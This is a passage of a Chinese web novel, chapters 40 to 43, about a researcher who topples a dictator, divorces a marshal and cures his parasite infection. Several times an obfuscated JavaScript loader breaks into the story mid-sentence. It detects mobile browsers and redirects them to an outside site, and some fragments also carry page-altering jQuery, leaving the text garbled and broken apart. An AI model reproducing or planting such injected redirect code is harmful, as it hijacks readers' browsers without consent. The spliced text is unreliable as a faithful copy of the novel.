澄栖有点无语,问半天自己想问的没弄出来,反倒是要向别人解释。“因为莉丝真的死了。” 她查了地下实验室的资料,发现在庄广生发疯炸实验室之前,下面的研究员觉得新实验体闲置,自作主张开启实验了。 那些人连人类实验体的研究都是那样,解剖,提取,分析。眼球也不例外,再加上它有一次逃跑的前科,他们下手更重,毫无意外的,眼球最后死在了实验台上。 如果最后载入系统的时间不出错,大概就是眼球上报死亡的几个小时内,地下实验室就炸了。庄广生自然知道地下实验室一炸,他也逃不掉,索性连研究院也一块清理了一遍。 从眼球死亡的那一瞬间,他大概就没想活着。而对于幕后黑手安萨斯呢,他又极其坚信澄栖会报复。 许三光皱眉想了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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许三光还没反应过来,为什么澄栖的话题一下子从天上转移到地上,想要说什么,但澄栖已经打开窗户,翻出去了。 现在的孩子,怎么都这么难带? 借着受伤的由头,澄栖在医院一躺就是好几天,果然像庄广生说的那样,研究院最近太乱了,实验体到处跑,媒体每天都在骂,谁也不愿意在这个时候接手研究院出来当替罪羊。 于是这个高昂的头衔真的落到了她头上。 一纸任书下来,037抓捕庄广生有功,暂代研究院院长一职,处理实验体逃跑的事情。 澄栖看着手里的任书还有随着任书而来的各个逃跑实验体的消息,麻溜从病床上爬起来,回了研究院。 白天跟着军队一起搜寻实验体,晚上在实验室分析前线送回来的标本数据,好不容易把大部分实验体找回来,正以为能够松一口气的时候,媒体爆了。 澄栖脱下来沾满脏污的防护服,坐回院长办公室,看着视频里面宋学带着一桩桩一件件铁打的证据。那是联邦政府当前最高执法人,安萨斯陛下亲手签署的地下实验室计划,还有图片视频等证据。 澄栖知道,庄广生那个老狐狸的报复,终于开始了。 对于事情的暴露,澄栖是乐见其成的,安萨斯倒霉,她恨不得拍着手看戏,只是事情的关键在于,除了计划的颁布者被曝光,计划的执行者,同样被曝光。 而这里面大部分人,都是来自寄生虫研究院的顶级研究员。 所以,刚刚接手寄生虫研究院的037也跟着遭殃了。 40. 第 40 章 天晓得研究院的大门关着,但大门外面往研究院里面丢垃圾的人还是络绎不绝。 然而事情到这里还远远没有结束,这件事情的高潮是,宋学在第一次曝光地下实验室不久之后,又曝光了苏格星原本的实验室。 就是澄栖之前进过的寄生虫老巢。 地下实验室已经被庄广生毁掉了,但是苏格星的寄生虫老巢还在啊。那里面破旧的高楼,生锈的仪器,还有奇形怪状的寄生虫。 那些被牺牲掉的人类,那些不知情被用于豢养寄生虫的人类,那颗因为寄生虫爆发,而被遗弃的星球。 这下子,所有人都知道,原来苏格星的悲剧,竟然是人类造成的。 澄栖大手一挥,给这条新闻买了不少推广。 通讯手环震动,伴随着推广成功的消息一起来的,是安萨斯的通讯。 “陛下。”澄栖的声音毕恭毕敬,顺手又过去买了点推广。 对面的指令的简单冷漠,“想办法把注意力转移到研究院。” 澄栖表情半点都没变,语气是毫无起伏,“是,我会尽力。” 安萨斯突然想起来,“我记得,你也是地下实验室的研究成员。” 澄栖一下子就知道安萨斯想要干什么。 地下实验室的主要执行人庄广生已经死了,带着那一批顶级的研究员一起死的,安萨斯居住的布德宫和苏格星呢,又不是简单就能进去。 如果这个时候,能够爆出来,寄生虫研究院现任代理院长,同样是地下实验室的研究成员,大众的怒火就有了一个天然的发泄口。 这不失为一个好办法。 澄栖现在挺想把安萨斯按死的。 “陛下,现在最好的做法,不是把大众的注意力转移到研究院。不管是研究院还是苏格星,大众依旧在这件事情里打转。现在最好的办法,是用一个足够转移大众视线的其他消息,掩盖住实验室的事情。” 至于是什么爆炸性的其他消息,还是让安萨斯自己费心去吧。 “嗯,你多费心。”安萨斯听完,果然不再执着于让037当替罪羊,匆匆挂断通讯。 第二天一早,澄栖终于知道安萨斯选择了什么爆炸性消息来转移大众的注意了。 公网炸开锅了。 联邦元帅已婚,妻子是来自无名下等星的孤儿! 澄栖刚醒,眼睛都还有点糊,随手一翻,全是谩骂。瞌睡醒得干干净净,她沉默从床上坐起来。 去死吧安萨斯!搞半天还是一盆脏水泼到她身上来了。 澄栖一边装死一边冷着脸给实验室事件买推广。 她本人现在应该在威什星,更何况身份信息被隐藏得不错,暂时不至于被媒体找上门,可安萨斯就不一样了,布勒宫在那里矗立了几百年,总不能长脚跑了,而布勒宫里的安萨斯更不能跑了,他要是一跑,大众的怨气只会更大。 虽然苏格星只是一颗下等星,人类被作为实验体这件事情也不是没有,可这件事情的执行人是安萨斯,今天是苏格星,谁知道明天会不会是其他任何一颗星呢?安萨斯总是有滔天的权力能做出来这种事情的。 大家合计来合计去,突然发现,不管是实验室事件,还是元帅娶妻的事件,背后都是安萨斯干的,更加愤怒了。 布勒宫被围得水泄不通,要联邦官方给大家一个说法。 于是通讯又打到澄栖这里来了,是安萨斯身边的人。 语气相当傲慢,让澄栖出面,最好开新闻发布会,解除和原颂的婚姻关系。 澄栖:…… 她清了清嗓子,换了声线,“这件事情问过元帅了吗?抱歉,我得听元帅的。” 说完,澄栖在心里默默数了三秒,其实跟原颂离婚这件事情,她确实想过,尤其是她现在的身份和原颂体内的寄生虫也有不小的联系,澄栖想,如果能离婚,确实是个不错的办法。 不过,也不能轻易答应啊。 对面显然没有想到她会用原颂的名义糊弄过去,在他们眼里,澄栖应该是一个能够随意摆布的小可怜才对,现在竟然在和他们讨价还价?在元帅府住了一段时间,真把自己当元帅府的人了? 无非是利益不到位。 “联邦会公布你开发布会离婚的消息,你只要出个面就行。事情结束后,蓝瑟星的金矿会划到你名下,你应该知道那是一笔多大的财富。” 金矿?那确实是不错了。 澄栖还是有些犹豫,“如果发布会之后,你们又反悔了怎么办,我人微言轻的,不如这样,你们现在就把金矿产权和开发权转移到我名下,我保证发布会准时到场。” 通讯那头的人迟疑了,这并不是他能够做得了主的,他的目光转移到高位上坐着的人身上。 澄栖听见通讯那头隐约有一个咬牙切齿的声音,“给她。” 这道声音一出来,对面也不迟疑了,“你要的东西下午会发到你的账户上,如果你不按照约定来发布会,我们也有办法把东西收回来。” 澄栖觉得很牛,都这种时候了,安萨斯还能顶着各方压力,神不知鬼不觉把那么大一个金矿转移到她名下,更别说还有采矿权,任谁听了不说一句“牛”啊。 当然,这个金矿澄栖是真心想要的,自然也不会在这种时候去刺激他,当下就信誓旦旦答应了,“放心放心,我一定会准时出现在发布会上。” 澄栖仍然记得那一天,联邦主星的天气并不是很好,窗外的乌云压下来,是将要下雨的预兆,沉闷的空气压得人喘不过气,不过一想到自己即将拿到手的金矿,闪着亮晶晶光芒的金子,心情就无比明媚。 蓝瑟星的金矿很大,开采权一直在联邦官方手里,开采量很小,各方都估计过那座金矿的价值。 澄栖算了算,能够再组建一个星际寄生虫研究院,听起来好像也没什么概念,但是研究院嘛,就是这样,每一分钟都在烧钱,想想研究院现在的惨状,被毁坏的建筑迟迟没有修复,拨款下不来,但研究院的情况,不得不挤在几栋还能用的楼了继续干活,想起来都是一把泪。 现在好了,钱到手,她到时候偷偷摸摸给研究院投点,把受损的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原颂将军在前线暂时不知道收没收到消息,联邦给了我一大笔钱足够我接下来的生活,我会净身出户,之前的财产会重新转回来,麻烦秦叔帮忙做一下财产转移的事情。” 这也是她这次回来最主要的事情。说起来痛心还是有点痛心的,毕竟那么多钱呢。但是想想以后原颂发现折磨他那么久的寄生虫,和她有关系,到时候事情更难看。 澄栖光是想想就冒冷汗,还是尽早做切割好。而安萨斯的金矿,已经完全足够她再建立一个完全属于她自己的研究院。 该死的安萨斯,等她把研究院的人全部挖走,然后就想办法联合各方把他从那个破位置上踹下去!出去要饭吧! 澄栖身上的气势越发坚定,秦叔却越加犹豫,知道归知道,可是…… “秦叔你不要担心,原颂那边我大概找到办法把他身体里面的寄生虫弄死了,等原颂从前线下来,我就能帮他把寄生虫彻底从身体里面驱除。” “好了,财产的事情您看着办吧,我先把东西收拾了。” 澄栖身上的斗志很强烈,安萨斯渴望她出席发布会的心愿也很强烈,下午还在家里的时候,澄栖就收到了金矿的开采许可和所有权,随之而来的,还有源源不断的进账。 她猛一下站起来,差点大笑出声。 钱到位了,接下来干嘛?买地建房搞设备挖人!联邦不拨款修研究院,她就再建一所研究院不就好了吗! 用金矿套出现金流的事情也是秦叔一手帮忙的,速度之迅速,人脉之广,让澄栖觉得惊叹。 “秦叔,如果我挖你,你愿意给我当管家吗?” 41. 第 41 章 “夫人,我从将军的爷爷那一代开始,就开始打理原家的产业啦。” 好吧,这话澄栖听懂了,好几辈的情分,他是不会离开的。 不过账户里的现金流,澄栖也很难失望,而且秦叔向她保证,接下来还会有源源不断的资金进入账户,她高兴得立刻联系了自己看中的地皮,最后连行李都是寄回出租屋的,而自己开了车就直接去和人谈价钱了。 事情进展顺利得不可思议,那块地皮原本上面就是一个倒闭不久的实验基地,地方当然没有原本的研究院大,但是建立时间比研究院新不少,其中的设施也很新,设备好些都还在运转,完全是可以直接入驻的程度。 原主人就是难以负担这些东西的庞大支出,才想要迅速找到一个接手烂摊子的人。 现在,这个人,她真的来了。 签完合同,确定归属后,原主人高高兴兴把澄栖这尊财神爷送走。澄栖也没打算耽搁,现在不赶紧回研究院去挖人,她就是绝世笨蛋啊! “你确定前面那个人就是强塞给元帅的那个下等星妻子?” “确定,我们跟了好几天了,亲眼看着人从元帅别墅里走出来的,放心吧,我有特殊消息渠道,错不了!” “那她怎么在往研究院的方向走,最近那边游行的人太多了,她是不是想要趁人群多甩开我们,她发现我们了?” “你把心放肚子里,我干这么多年追踪,她绝对甩不掉我,你就准备好拿下这个独家大爆消息吧!” “哈哈哈,我直播设备已经准备好了,到时候人一入境,新闻一爆,你的好处少不了!” …… 前面的人太多了,多到车子都很难开进去,每一辆进去的私人交通设备,都要经过研究院外游行者的几轮臭鸡蛋攻击,澄栖只好把车停在外面,脸上换了伪装,从另一条人少的小路走。 她把帽檐压得很低,看上去和游行的人差不多,没有引起太多人注意。 澄栖觉得自己现在最应该想的事情,已经不是挖人了,而是挖人过后如何把更多的研究员带走,这地方被堵得太严重,出不去才是最大的麻烦。应该只能开飞行器出去了。 或者从前线运送寄生虫标本的几条飞行线依旧运转,她可以和对方商量一下,乘坐他们的飞行器,在中途转航线离开。 想到这些,澄栖又不得不在心里狠狠把安萨斯骂了一顿。 正走到门口,差几步就能到研究院大楼时,突然有人举着大型摄影设备站在她面前,说话的人穿得很正式,声音也很洪亮, “您好,夫人,请问您如何看待联邦将您强行和元帅捆绑在一起的事情,这其中是否有什么不能说的秘辛,请您放心,目前的采访是面向全联邦,官方如果对您有任何施压都不会奏效,联邦人民将永远站在正义的一方。” 眼前的设备是直播设备?! 澄栖的身形顿了顿,周围听见声音的群众更是蜂拥过来,举起自己手上的手环,开启了录像或者直播设备。 澄栖把自己的帽檐压得更低,“不接受非官方采访,接下来会有专门的发布会澄清,请关注后续官方信息。” 他们花了大力气才抓到澄栖的踪影,当然对这样的回答不满意,仅仅是这样一番话,怎么可能让他们的新闻大爆?他们必须挖掘出来爆炸性的消息。 举着直播设备的人走得更近了,澄栖被人群层层围住,很难逃出去。 怪她太大意了。 澄栖正在想办法怎么躲开这要命的直播设备,更要命的来了,研究院的同事发现门口被围住的人是他们院长,连忙带着武装人员冲过来,强行开出一条道, “不好意思,院长暂时不接受采访,后续研究院相关安排,请关注我们的官方信息。” 同事一边说一边拨开人群想把澄栖带出来,“院长,从这边走!从这边走!” 澄栖眼睛一闭,完了,这下全完了。 她趁大家发愣,一个闪身关掉直播设备开关,跟着同事和武装人员走进封锁的研究院大楼。 “那个……院长……”他真不知道院长的情况是这么个情况啊! 澄栖说话都有些干涩,笑容更是勉强,“没事,不影响。”等她再给安萨斯加一把火,看看能不能把人引到布勒宫那边去。 事情的发展还是超出了澄栖的预料,研究院的门被堵得出去都困难。联邦人民八卦的天性在这里发挥得淋漓尽致。 从某方面来说,安萨斯的目的确实已经达成了,数量越来越多的人开始把注意力从地下实验室非法实验事件,转移到了这一则八卦上面来。 办公室,他们的例行会议。 澄栖照常总结前一段时间的任务和找回的实验体接下来的安排,桌子下面谁的通讯手环忘关静音了。 “惊!下等星文盲孤女竟成寄生虫院长!这其中到底藏着什么样的秘密——当前我们的记者已经到达星际寄生虫研究院大楼……” 顿时,整个大厅鸦雀无声,连呼吸声都变得吵闹。 “不好意思,院长。”手环的主人手忙脚乱想要去关声音,不小心又打开了下一条,“家人们,我已经在研究院外面蹲三天了,一定要把院长蹲出来,这件事情太神奇了……觉得主播能做到的请为主播点赞~比心,爱大家~” “不好意思,我真的不是故意的。”他更加惊慌,直接将手环息屏,试图停止播放,但是谁能想到息屏后,声音依旧没有消失。 尴尬和沉默在每一寸空气里弥漫。 “那个,咳,院长,需要研究院出一个公告吗?最近,舆情不太好,联邦官方那边,也在把关注度往这边引导,昨天前线送标本过来的军方人员都被堵住了……” 再这么下去,研究院大楼要被人给推掉了。 澄栖不用脑子都能想到背后有安萨斯在推波助澜,他在等娱乐事件彻底掩盖地下实验室的丑闻,不过,澄栖也在等这件事情发酵。等外面的游行活动,真真切切影响到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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安萨斯一口老牙差点咬碎,“办,怎么不办?”这个发布会要是他宣布取消,恐怕消息一传出去,布勒宫明天的臭鸡蛋就会再增加一倍。 澄栖这招阳谋,用得真是精妙得很!这个发布会,他不仅要办,还要大办特办,只有大众的视线全部聚焦在澄栖身上,他才能趁着这种空档,把他最后的底牌打出来。 今天研究院正式脱离掌控,明天呢?是联邦法院?还是联邦政府? ——情况比他想得更加糟糕,是联邦几大组织全部宣布脱离。 在安萨斯亲口允诺的发布会上,出席的不只有澄栖,还有联邦几大组织的话事人。 星际苦独裁久矣。 “我们永远不能忘记布勒陛下带领我们在星际艰难创业,为人类赢得安稳栖息地。布勒陛下一生都在为人类安稳的事业奋斗,可是今天,安萨斯·布勒忘记了布勒陛下的信仰,忘记了人类曾经的苦难,我仅代表,星际寄生虫研究院,” “星际最高联邦法院,” “星际最高联邦政府,” “星际最高……” “正式宣布,联邦从此废除独裁统治,奔向民主未来。” 公网彻底炸了。 42. 第 42 章 伴随着这个消息而来的,还有安萨斯这些年私下进行的非人道研究数据,万人唾骂,布勒宫门口的臭鸡蛋味浓得好像变成了烟笼罩住空气。 与此相比,澄栖在发布会上顺嘴提过的离婚事件,好像就不值得一提了。 这场发布会变成了星际历史上转折性的一页。后续的事情还很多,安萨斯被封禁在布勒宫,澄栖去看过他一眼。 安萨斯倒是很安稳,上下打量澄栖,感叹道,“我真是看错人了。” 澄栖摆手,“怎么会看错人?陛下,我正是您眼光好的证明。”不是炫耀,纯粹事实。 安萨斯也不反驳,只丢下了两个字,“等着。”说完话,关上门,彻底隔绝了视线。 澄栖没放在心上,联邦现在需要处理的事情太多,很难把失败者最后的狠话当成什么重要的事情。安萨斯最好的结局,也不过是在布勒宫过完他的一生。她就是怀着一颗坏心来看看和这具身体有血缘的人,却把她从出生就囚禁在暗无天日的地下实验室里当实验体的人而已。看见他过得不好,澄栖心情就好了。 去干活,去把独裁的阴霾彻底在联邦上空抹掉。 原颂被通知回联邦星开会的时候,并没有什么惊讶的,联邦最近的巨变,哪怕在前线,也是闹得人尽皆知。 真正打他一个措手不及的是,他的顶头上司,军部最高话事人,突然问他,“需不需要把你和你前妻的位置错开一点,免得见面尴尬。” “前妻?”他哪里来的前妻?他只有一段婚姻。 上级以为他不好意思,拍了拍原颂的肩膀,“行,我知道了,我会让人把位置尽可能给你们错开的。” 原颂看着飞行器外已经繁华的联邦星大道,将信将疑打开了好久没有用的星际公网,结果找到了澄栖在发布会上宣布他们离婚的事情。 现在离婚,都不需要配偶同意了吗?原颂想起来,他们结婚,也没有经过双方同意。 他将页面退出来,看着手环投射的光幕上,只要他点下那个号码,澄栖的通讯就会响。他可不可以问,为什么要离婚? 原颂相信是心有灵犀,在他按下那个号码之前,澄栖的通讯,先一步拨过来了,“元帅,我是澄栖。” “嗯。”他想问发布会是怎么回事,但是突然发现,自己好像没有任何立场去质问她。 “新研究院刚成立,需要投资么?” “暂时不需要。元帅已经到联邦星了吗?开完会我们可以见一面,我带您去研究院,您的病,我找到根治的办法了。”澄栖的语气里,有一丝兴奋,再也不用定期放血给原颂寄过去了。 原颂想,这个根治办法,来得很不是时候,抛开这个,他和澄栖以后就真的没有联系了。这样很不好。 他身体里的寄生虫是宋学弄来的,不知道他能不能再弄到一份。原颂在很认真思考这个问题。直到踏进布勒宫的大门,这个主意依旧萦绕在他心里。 “元帅。” 原颂抬头,“宋学,你在这里?”这算是什么,得来全不费工夫。 宋学见到原颂,有些不自在,“元帅,我是跟着院长过来的,我现在在寄生虫研究院工作。” “嗯。”原颂淡淡点头,表示自己知道了。 “元帅,那件事情我很抱歉。我真的不知道那封药有问题,我只是想救您,您当时一个人从寄生虫老巢里出来,情况很不好,昏迷不醒,我只能把那个药给您用了,药用过之后,您的伤很快痊愈了,但是我没想到……” “没想到什么?”又一辆车停在他们脚边,车里的人走出来,打断他们,“原颂将军,好久不见。” “安澜少将。”原颂淡淡点头。 “安澜将军您回来了?院长一直很担心您。”宋学见到她,立刻转移开话题。 安澜听见澄栖担心,强压下嘴角,装作不太在意,“有什么好担心的。” 原颂脚下一顿,侧身,“她就没说,担心我?” 宋学被他一眼看得有些喘不过气,“应该也是担心的吧,哈,哈。” 安澜嗤笑一声,越过两个人,进了布勒宫。 澄栖整场会议都觉得有视线一直在她身上,等她扫视四周的时候,视线却消失不见了,她不着痕迹蹙了蹙眉,将目光收回来。 一低下头,视线又来了。她锁定视线的方向,再次抬头,顿时看见一张熟悉的脸。 原颂表情淡淡,和她对视上一直不挪开眼睛,是原颂?他为什么一直盯着她?有些尴尬,澄栖的目光转了转,又在不远处看见了安澜。 这下子,刚刚对于原颂的疑问全部被压下去。安澜她失踪这么久,终于回来了。 安澜朝她微笑,算是打了个招呼,澄栖同样笑了一下,再转头,果然看见许三光有些躲闪不敢和她对视。 果然有事情。澄栖低头,偷偷在通讯上给许三光发消息,想要把安澜的信息撬出来,许三光吓得直接把通讯手环都取了塞进口袋里。 原颂从澄栖转头对安澜笑的那一下开始,后槽牙都要咬碎了,为什么看着他就是皱眉,看着安澜就是笑? 幸好会议的时间并不是很长,继续留下的,就是几个真正处理政务的话事人之间的小会,他们能走了。 “澄栖。”站在车边,澄栖突然被原颂叫下。 澄栖这才从安澜突然回来的消息里回过神,丝毫没有注意到原颂表情有些不对劲,礼貌而友善,“元帅,正好你来了,一起走吧,去研究院。” “为什么不提前通知我一声,我觉得我们相处得不错,没有离婚的必要。”他的声音有些嗡闷。 澄栖摸了摸自己的手,此时依旧戴着一双黑色的手套,谁也不知道里面的手指,已经和正常人类完全不一样了。她依旧没有掌握让自己恢复的办法,甚至灰雾的范围,还在缓慢的扩大,一开始只是一节手指,现在变成了整整两根。 她接下来只能去找安澜问个明白。唯一的好处大概就是,那一丝上蹿下跳的该死灰雾,跟澄栖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278475|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明确表示过,它能把白雾拉出来。不管是人体里还是寄生虫里。而原颂身体里,就是那种白雾。 “元帅,我们先到研究院再说。”澄栖囫囵转移开话题,不做回答。 原颂深吸了一口气,“好。” 不太好,澄栖和原颂坐在车后面,一句话不说,两个人就这样沉默着,澄栖感觉,自己好像那个绝情的渣男,拍拍屁股就走人的那种。真是难办。 “离婚的事情,完全没有回旋的余地了?”原颂冷不丁问了一句。 澄栖后背绷紧,像是突然被老师提问到,“是,没有。”她并不想自己的异样被更多人知道,所以离婚是最稳妥的办法。 “好。”原颂点头。 他的态度转折太快,好像只是随口问一句完成任务,澄栖一愣,心里有点说不清楚的不舒服。 “你……”话才刚开了个头,原颂抬头,和她的视线交织在一起,很认真问,“你喜欢什么花?” 花,一直有钱花算吗? “什么?”澄栖最终还是没有把一直有钱花几个字说出来。 “我想追求应该要从一束花开始?澄栖,既然离婚,我可以重新追求你。”原颂笑,“正好我们没有办过婚礼,可以重新来一次。” 澄栖张了张嘴没说出来话,表情复杂。妈妈没教她怎么拒绝别人啊! “所以你喜欢什么花?” “随便吧。”她靠着座椅,淡淡的有点摆烂。 “好。” 这束花订到了研究院门口。 西装革履的送花人抱着大束的红色鲜花,站在研究院门口,站了一排。 澄栖有些惊讶,转头问原颂,“你订四束干什么?” 原颂脸色有些黑,生闷气,“我只订了一束。” 那另外两束?澄栖有些尴尬。转念一想,不对啊,她都宣布离婚了,管他几束,她心虚干什么? 原颂长腿一迈,下车抱好自己的花束,另外一只手拎过来另外三束就要往垃圾桶里丢,后面澄栖的声音悠闲传过来,“别急啊,这花挺好看的,丢什么?” “谁送的?”澄栖凑了个脑袋过去。 原颂往旁边后退了一步,还是拿过花束上的留言,看他的表情,绝对是狠狠记仇了,“这束是布德温送的。” 安萨斯倒了,布德温需要重新找盟友和靠山,主意打到澄栖这里不奇怪,没有威胁,暂时可以排除掉。 澄栖果然恨不得马上避开,“那这个确实可以丢。还有两个呢?” 原颂任劳任怨继续拆留言卡片,“这个是安澜的。” 安澜,原颂认真思考,应该也没有威胁。暂时可以放心。 澄栖眉心微动,安澜?“她写什么了?让我看看。” 澄栖歪过头,和原颂一起拆卡片后面的留言,只有一句话,“庆祝小澄栖离婚,赏脸晚上吃个饭?” 估计错误了,这个人,是个大威胁。他把卡片放进花束里,打算和第一束一样丢掉。 43. 第 43 章 “等等,留着吧。”澄栖出言阻止他,顺手把花接过来。 “留着?”原颂表情有些不自然。安澜的威胁性又上升了一个高度。 澄栖没有注意到他的情绪,思维停留在晚上约饭的卡片上,“对,留着,挺好看的。” “嗯。”原颂从鼻腔里挤出来一个回应。 她抬头,终于发现原颂的表情不好看,连忙转移话题,“不是还有一束?看看谁送的?”这么多束花,她以前只在过年前老师的办公桌上见过。 她翻了翻花束,在边缘把留言卡片翻出来,看见人名,笑了笑。 “谁的?”原颂看见她的嘴角,问。 澄栖带着些狡黠,把卡片转到原颂眼前。这个更简单,只有两个字,“恭喜。” 不知道在恭喜什么,更耐人寻味的是,送花的人,何希南。 “何希南也回联邦星了?” “没,还在斯兰特星。”这就更加让人提起警惕了,斯兰特星最近确实平稳不少,但也没有达到人还在斯兰特,话就送到联邦星的了吧? “嗯?那还挺稀奇。”澄栖没有多想,顺手把花也接过去了。 原颂心里的警铃顿时响起来,何希南,和澄栖接触的时间,可比他和澄栖接触的时间多多了,万一呢? “这个不丢掉?”原颂脸色黑。以前怎么不知道,他的副手,还是个这么有情调的人。斯兰特最近果然是太安稳了,他想想何希南调到什么其他地方去。 “说的也是,丢掉吧。”澄栖想了想,没有什么留下来的必要,在订单上写了签收,最后花也没有进垃圾桶,让拿花过来的人带回去,给订花人报个信儿。 不过剩下两束也足够引人注目,澄栖想了想,带着商量的语气,“我先进去,你十分钟后悄悄把花送去十七楼许三光教授的办公室,然后再到顶楼的实验室找我怎么样?” 她真聪明,这样就不会有人知道花是她的。 原颂嘴角微微抽搐,除了说好,他还能说什么。他敢说,如果不按她说的做,就剩下这两束花,都会出现在垃圾桶了。 等原颂到实验室的时候,澄栖已经穿了整套防护服,手里拿着手术刀和注射器,“元帅你相信我吗?” 他的回答没有丝毫拖泥带水,“相信。” “好。”澄栖点头,“我的治疗方法有些特殊,这是麻药,我保证你的生命安全不会受到威胁,等醒过来的时候,你身体里面的寄生虫就会消失掉。” 原颂动作利落躺到治疗床上,注射过麻药,整个人很快失去了意识。 澄栖叫了好几声,确定人已经昏迷过去,摘下手套,露出来自己变异的手指。原颂身体里的白雾像是一层保护膜一样,贴着他的血管,从上到下,几乎遍布了每一条大血管。大概是接受过澄栖的血,挺安分的,只是贴着,也不乱窜,这大概是原颂还活蹦乱跳的原因。 手术刀划开他的血管,澄栖手指上的灰雾不情不愿钻进去,像一条打工的泥鳅,把白雾往外拖。然后一丝一丝缠到澄栖手指上。 白雾并不想待在澄栖手上,它们一接触就难受,还死不了,偷偷摸摸想要回去,被灰雾一吓,只好老老实实挂在手指上了。 白雾越来越多,澄栖雾化的手指也从两根变成三根,四根,再到一整个手掌。受到刺激,身体里的会动的灰雾也越来越多,把白雾固定在她手上,不让它们乱跑,剩下的,都窜进了原颂身体里,继续往外拖。 澄栖的眼睛看见原颂身体里的白雾越来越少,松了一口气,幸好提前给人打了麻药,没让人看见这样诡异的一幕。 直到原颂身体里最后一丝雾气消失,仪器检测到他是身体机能恢复正常,而澄栖一整条手臂,灰灰白白的雾气缠绕在一起,还有继续往上蔓延的趋势。 拜托人在实验室关注原颂的情况,澄栖驱车离开研究院,到自己出租屋的对面,敲响了安澜的家门。 好像是专门在等她一样,第一声还没落下,门就打开了,安澜她果然在家。 澄栖二话没说,脱下自己的手套,竖着伸出来,有些冰冷,“安澜将军不解释一下吗?” 安澜挑了挑眉,一脚把门关上,两个人在封闭的空间里,气氛更凝滞。 “有什么好解释的?原颂差点死在寄生虫前线,宋学托人找能够救他的药,我好心给了而已,他是没有活下来还是伤没好?” 安澜有些羡慕,“有些人运气就是好,这才过多久,不仅活蹦乱跳,就连后遗症都被人处理得干干净净,我要是有这种运气,早就能当元帅了,真是羡慕。” 她话里的羡慕并不作假,想要得到元帅称号的心也是实打实的。 澄栖无奈,索性将自己的疑惑问出来,“把寄生虫放进原颂身体里,是不是为了有借口把我从地下实验室捞出来塞过去?” 白雾并不是坏东西,就像她身体里的灰雾一样。有自主意识的雾气离开身体的感觉并不好受。如果只是为了治疗,完全没有理由让原颂陷入那么久的昏迷。 在那样巧合的时机里,原颂恰好昏迷不醒,恰好出现一个能够延续他生命的人,又恰好联邦把人塞过去。每一环,都巧合得严丝合缝。如果不知道这样的雾气到底是什么还好,可是澄栖偏偏知道了。 安澜看着澄栖紧张的表情,笑出声,“别自作多情感谢我啊,要不是为了拿你对付安萨斯,我能绕这么大弯?不过,你果然没有让我失望。我都不敢想象,安萨斯要是知道你就是一号实验体,是安轻孩子的时候,表情该有多精彩。” 澄栖肩膀松懈下来,果然如此,她全部都承认了。怪不得,安澜之前总是让她叫姐姐,因为,她们真的有一半的血缘是一样的。 “怎么样,现在叫一声姐姐,我教你怎么在雾态和正常人体之间转换,不亏吧?” 澄栖垂着头不说话。 安澜装作不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278476|195047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耐烦,但语气里暗暗带着一丝期待,“叫一声又不能掉一块肉,赶紧的,你恢复正常我好把白雾拿回来,身体不全,上次打安轻都没打过。” 澄栖抬头,语气认真,“安澜将军,你缺孩子养吗?我给你养老,我觉得你比安轻适合当妈多了。” 安澜愣愣看着澄栖认真的表情整整五秒,发现她居然没笑,心里骂了一声。 “我还活着你就盯上我的遗产了?!”毕竟在联邦,子女是第一顺位继承人。 “嘿嘿。”澄栖呲着大牙笑得尴尬。 安澜扶额,也不提什么改口的事情了,拎着澄栖按在凳子上,伸手握住她雾化的一条手臂,白色雾气好像找到了主人一般,全力挣脱掉灰雾的缠绕,弥漫进安澜的手臂里。 澄栖这才看清楚,安澜那一条手臂里,和人类的构造没有一点相似,白雾化成丝,充当了神经的角色,连接起她的手和身体。 眼睛有些难受,澄栖眨了眨眼,再次睁开时,却发现安澜的身体已经完全恢复了正常,血管是血管,神经是神经的,但是澄栖发誓,自己刚刚看见的,绝对不是什么幻觉。 “看我干什么,看着你自己的身体。闭眼,用眼睛去找身体里游走的东西。” 澄栖闭上眼睛,没感觉到自己身体有什么不一样的,除了那一条还是雾化的手臂。不对,她就不是人,身体正常才是最大的不正常。 “看见什么了?” “心脏里,有东西在动,薄薄一层像是白色塑料膜?不对,是灰色塑料膜?”澄栖分辨不太清楚。两种颜色混杂着,混沌糅杂。 “把东西拉出来。”安澜握着她的手更紧了。 澄栖尝试着跟那层看似塑料膜的顽固东西沟通,想把东西引出来。混沌逐渐分层,白色沉到下面,灰色浮上来,想要出来,但它们到底又交织在一起,只能胶着浮动。 澄栖反手握住安澜,安澜“啧”一声,手上也变成雾化的状态,直接伸进了澄栖胸膛里,拎着灰白塑料膜暴力往外扯。 被心脏里突然出现的手吓一跳,默默睁开眼睛的澄栖:…… 